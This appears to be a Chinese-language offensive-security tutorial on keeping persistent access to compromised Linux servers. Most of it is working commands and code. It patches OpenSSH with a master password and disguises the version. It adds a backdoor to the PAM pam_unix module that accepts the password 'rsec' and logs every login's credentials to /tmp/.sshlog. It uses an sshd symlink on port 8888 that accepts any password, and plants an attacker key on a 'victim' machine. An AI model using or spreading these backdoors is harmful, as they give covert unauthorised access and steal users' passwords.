Linux-权限维持
一-OpenSSH后⻔
1.安装必备软件
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
2.记录SSH版本号
3.重命名主程序和配置⽂件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
4.上传后⻔利⽤程序到服务器
0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz
进⾏解压与打补丁
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff
5. 修改后⻔密码
修改 define SECRETPW "rsec" #万能密码
6.修改version.h⽂件,使其修改后的版本信息为原始版本
7. 安装编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install
service sshd restart 重启sshd服务
8.新开xshell窗⼝ ssh + IP
二.SSH-PAM后⻔
1.执⾏命令查看PAM版本号
rpm -qa | grep pam
2.下载对应的PAM源码包
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8.tar.gz
3.安装 gcc 编译器和 flex 库
yum install gcc flex flex-devel -y
4.修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
修改源码,在源码中添加后⻔。
180 retval = _unix_verify_password(pamh, name, p, ctrl);
在 180 ⾏下新增内容如下:
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("rsec",p)==0){return PAM_SUCCESS;} //后⻔密码
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a"); //SSH登录⽤户名密码保存位置
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}
name = p = NULL;
AUTH_RETURN;
5.编译安装PAM
unzip Linux-PAM-1.1.8-master.zip
cd Linux-PAM-1.1.8-master/
chmod +777 configure
./configure && make
6.备份原有pam_unix.so,防⽌出现错误登录不上
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
7.复制新PAM模块到 /lib64/security/ ⽬录下
[root@rsec Linux-PAM-1.1.8-master]# cd modules/pam_unix/.libs
[root@rsec .libs]# cp pam_unix.so /usr/lib64/security/pam_unix.so
8.远程登录测试,使⽤密码 rsec
三.软链接&公私钥&
软链接
1.查看是否使⽤PAM进⾏身份验证
cat /etc/ssh/sshd_config|grep UsePAM
没有开启的可以开启一下
2.在⽬标服务器上执⾏⼀句话后⻔并在客户端执⾏ ssh root@IP -p 8888 ,输⼊任意密码,成功登
录。
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
kali中执⾏ ssh root@192.168.231.160 -p 8888
公私钥
查看开启
vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
2.kali端执⾏制作密钥对
ssh-keygen -t rsa #过程中按三次回⻋
3.查看密匙
ls /root/.ssh/
4.ssh-copy-id root@192.168.231.160 将⾃⼰的密匙传到centos受害者机器
5.ssh root@192.168.231.160